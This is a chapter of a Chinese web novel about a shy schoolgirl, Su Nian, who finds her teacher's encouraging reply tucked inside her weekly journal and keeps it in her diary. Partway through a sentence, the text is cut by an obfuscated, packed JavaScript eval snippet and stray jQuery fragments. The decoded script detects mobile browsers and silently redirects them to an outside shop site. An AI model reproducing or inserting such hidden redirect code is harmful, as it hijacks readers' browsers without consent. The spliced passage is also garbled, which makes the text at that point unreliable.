周四上午，第一节英语课。
英语老师在讲台上放听力磁带，录音机里是沙沙的底噪。苏念的眼睛落在课本的单词上，却一个字也没看进去。她的手一直插在校服外套的口袋里，口袋空着。
昨天放学前，她趁办公室没人，把那张麦田明信片夹进了林知意的蓝色备课本里。明信片是她省下七块二毛钱和五块午饭钱买的。放好后，她没回教室，直接回了家。
她现在有些后悔。
备课本里全是教案，林知意翻开时，明信片会不会掉出来？万一掉在地上被教导主任捡到怎么办？或者林知意压根没看见，随手当废纸扔了呢。苏念一下下折着英语书的书角，直到纸张发软。
下课铃响了。周雨晴拿着登记表收英语报纸，一排排地走。到了最后一排，张逸飞把报纸揉成一团扔在桌上。周雨晴什么也没说，把纸团展开抚平，夹进登记表里。
她走到苏念桌前，苏念递过报纸。
周雨晴接过报纸，目光在苏念桌上扫过。桌上只有一块发黑的橡皮，半截铅笔，连张多余的草稿纸都没有。昨天下午那段写“伞”的文字，周雨晴问了一圈，班里前十名都说不是自己写的。
她把苏念这个选项从脑中划掉，拿着报纸往前走。下周就期中考了，她的目标是年级前三，没工夫在这种找不到对手的文字游戏上浪费时间。成绩才是硬道理。
中午放学，苏念没去食堂，在小卖部买了个一块钱的面包，径直上了四楼。
推开旧图书馆的门，管事的大爷正打瞌睡。苏念走到第三排书架后面，木椅上的坐垫还在。桌子中间的光带里，放着昨天那包拆开的苏打饼干，少了有两块。旁边没有别的东西。
苏念坐下，撕开面包包装袋咬了一口。面包很干，直掉渣。她把饼干袋子重新封好，推到桌角。林知意今天没来。
她吃完面包，翻开借来的《呐喊》，看了两页，字却读不进脑子。她满脑子都是那张麦田明信片。
下午最后一节是自习。刘国强去市里开会，教室里没人管。前排几个男生在传纸条，纸条扔偏了，飞到黑板上，落在粉笔盒旁边。
语文课代表李思思抱着一摞本子走进教室。
“发听写本，今天没作业，错别字订正三遍。”李思思把本子分成四摞，放在每组第一排的桌上。
本子向后传。
陈小满拿到自己的，顺手把下面一本推给苏念。
苏念接住，牛皮纸封面，边角已经起了毛。她翻开，第一页全对，第二页错了两个字，第三页是空的。
苏念把本子倒过来抖了抖，什么也没掉出来。没有便签，没有纸条，也没有那张明信片。
她合上听写本，拿出一支黑笔，在草稿纸上把错字写了三遍。字写得很大，笔痕在纸背上凸/起。
下课铃响，学生们涌出教室。苏念慢吞吞地收拾书包。等教室里只剩下值日生，她才背起书包往外走。
经过讲台时，她停住了。
讲台角落的粉笔盒旁，放着几本没发完的本子。最上面是张逸飞的听写本，底下压着一本蓝色软抄本，苏念的周记本。李思思刚才发的是听写本，这本周记混在里面，她没看清，就一起扔在了讲台上。
苏念伸出手，把那本蓝皮周记本抽了出来。本子在手里，比听写本沉。
她翻开封面。
第一页，一张浅蓝色的便签纸贴在纸面上。便签纸下面，压着那张麦田明信片。
教室后排，值日生在扫地，扫帚刮着水泥地，声音很刺耳。苏念站在讲台边，低头看着那张浅蓝色的便签。
蓝黑色的钢笔字，墨水洇进了纸张的纹理，字迹圆润，连笔很少。
“山谷里的野百合，即使没有旅人路过，也会在风里开得很好。不是花的问题，是路人走得太急。你写得很好，我很庆幸自己没有走太快。”
在这段话的右下角，写着当天的日期。
苏念拿起明信片翻过来，背面的空白处多了一行字。
“麦田收到了，很漂亮。谢谢。”
苏念的手指捏着明信片的边缘，纸张厚实，边角有些割手。她把明信片和便签纸重新夹进周记本，合上，拉开书包最外层的拉链，把本子塞进去，拉好。
她走下讲台，走出教室。夕阳从走廊的窗户照进来，地砖被映得发红。苏念踩着一块块红色的光斑，一步步下楼。
晚上七点，城中村的巷子里飘满各家炒菜的油烟味。
姜翠花站在厨房水槽边掐空心菜的老梗，头也不回地说：“回来了，饭在锅里，自己盛。今天交水费，又涨了两块钱，这日子没法过了。”
苏念把书包放在缺角的书桌上，走进厨房。她揭开电饭煲盛了碗饭，端到外面的小方桌上。桌上摆着一盘炒鸡蛋和一盘咸菜。
苏念吃得很快，十分钟就吃完了。她收起碗筷，端到水槽边。
“我来洗。”苏念挽起校服袖子，往海绵上挤了滴洗洁精。
姜翠花让开位置，把洗好的空心菜沥水。“你今天转性了？平时叫你洗碗得催三遍。”
苏念没接话，打开水龙头。水流冲在海绵上，打出白色的泡沫。海绵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849274|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在碗壁上摩/擦，发出沙沙的轻响。
苏念低着头，看着水槽里的泡沫。她的嘴唇动了动，喉咙里哼出一个调子。没有歌词，只是个简单的旋律。平缓的调子混在水流声里，从她喉间溢出来。
姜翠花正拿着抹布擦灶台，手上的动作停了。她偏过头，盯着苏念的侧脸。
这五年，自从苏敏去了深圳，这间出租屋里除了电视声就是吵架声，再没有过别的动静。苏念连走路都轻手轻脚的。
姜翠花把抹布扔在案板上，“你哼什么呢？”
苏念的哼声停了。她把洗干净的碗放在沥水架上，关掉水龙头。
“没哼什么，”苏念拿起干毛巾擦手，“学校广播站放的，顺口哼了。”
“少听那些没用的，下周就期中考了，你数学再不及格，你妈下个月的生活费又得扣。”姜翠花端着菜盆往外走，“一天到晚不知道想什么。”
苏念擦干手，把毛巾挂在墙上的钉子上，没有反驳。
她回到自己房间，关上门。狭小的空间只放得下一张床和一张书桌。
苏念坐在书桌前，打开台灯。她从抽屉最底层拿出那本带锁的日记本，用挂在脖子上的小钥匙拨开锁扣。
翻开第二页。这页纸上，已经贴着一张粉色的便签纸，上面是林知意对她随笔的鼓励。
苏念拉开书包，拿出周记本，把那张浅蓝色的便签纸揭下来。她从笔筒里找出固体胶，拧开盖子，在便签的四个角分别涂上一点。
她把浅蓝色的便签对齐粉色便签的下边缘，端正地贴在日记本上，再用手掌压平。
两张便签纸挨在一起，粉色和浅蓝色。
苏念看着上面的字。
“不是花的问题，是路人走得太急。你写得很好，我很庆幸自己没有走太快。”
这是第二枚硬币。第一枚是那包九制话梅，第二枚是这句回复。
苏念拿起圆珠笔，在便签纸下方开始写今天的日记。
她没写姜翠花的唠叨，也没写刘国强的数学卷子。她写了讲台上的粉笔灰，写了那本蓝皮周记本，写了麦田明信片背面的那句“谢谢”。
笔尖在纸上划过，墨水干得很快。写完最后一段，她停下笔。
她看着日记本上的两张便签，把本子合上，重新锁好。明天是周五，上午有两节连堂的语文课。
苏念把日记本放回抽屉，拿出数学练习册，翻到几何题那一页。她拿起直尺和铅笔，在三角形的两个顶点之间，画了一条辅助线。
她看着那条线，竟有些等不及明天了。